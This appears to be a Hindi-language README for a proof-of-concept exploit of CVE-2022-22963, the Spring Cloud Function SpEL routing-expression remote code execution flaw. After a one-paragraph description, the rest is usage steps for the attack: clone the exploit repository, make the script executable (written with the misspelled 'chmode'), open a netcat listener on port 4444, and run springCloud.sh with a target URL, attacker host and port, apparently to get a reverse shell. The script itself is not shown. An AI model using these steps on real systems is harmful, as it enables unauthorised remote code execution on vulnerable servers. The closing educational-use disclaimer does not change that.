CVE-2022-22963

Spring Cloud Function के संस्करण 3.1.6, 3.2.2 और इससे पहले के संस्करणों में, रूटिंग कार्यक्षमता का उपयोग करते समय, कोई उपयोगकर्ता रूटिंग एक्सप्रेशन के रूप में विशेष रूप से तैयार किया गया SpEL प्रदान कर सकता है, जिसके परिणामस्वरूप रिमोट कोड निष्पादन और स्थानीय संसाधनों तक पहुँच हो सकती है।

PoC

रिपॉजिटरी को क्लोन करें

git clone https://github.com/jrbH4CK/CVE-2022-22963.git

फ़ोल्डर में प्रवेश करें

cd CVE-2022-22963

निष्पादन अनुमतियाँ बदलें

chmode +x springCloud.sh

वांछित पोर्ट पर nc प्रारंभ करें

nc -nlvp 4444

अपनी आवश्यकताओं के अनुसार पैरामीटर बदलकर निम्नलिखित कमांड चलाएँ

./springCloud.sh url lhost lport

नोट: इस रिपॉजिटरी का उपयोग करने की ज़िम्मेदारी उपयोगकर्ता की है, लेखक की नहीं, केवल शैक्षिक उद्देश्यों के लिए।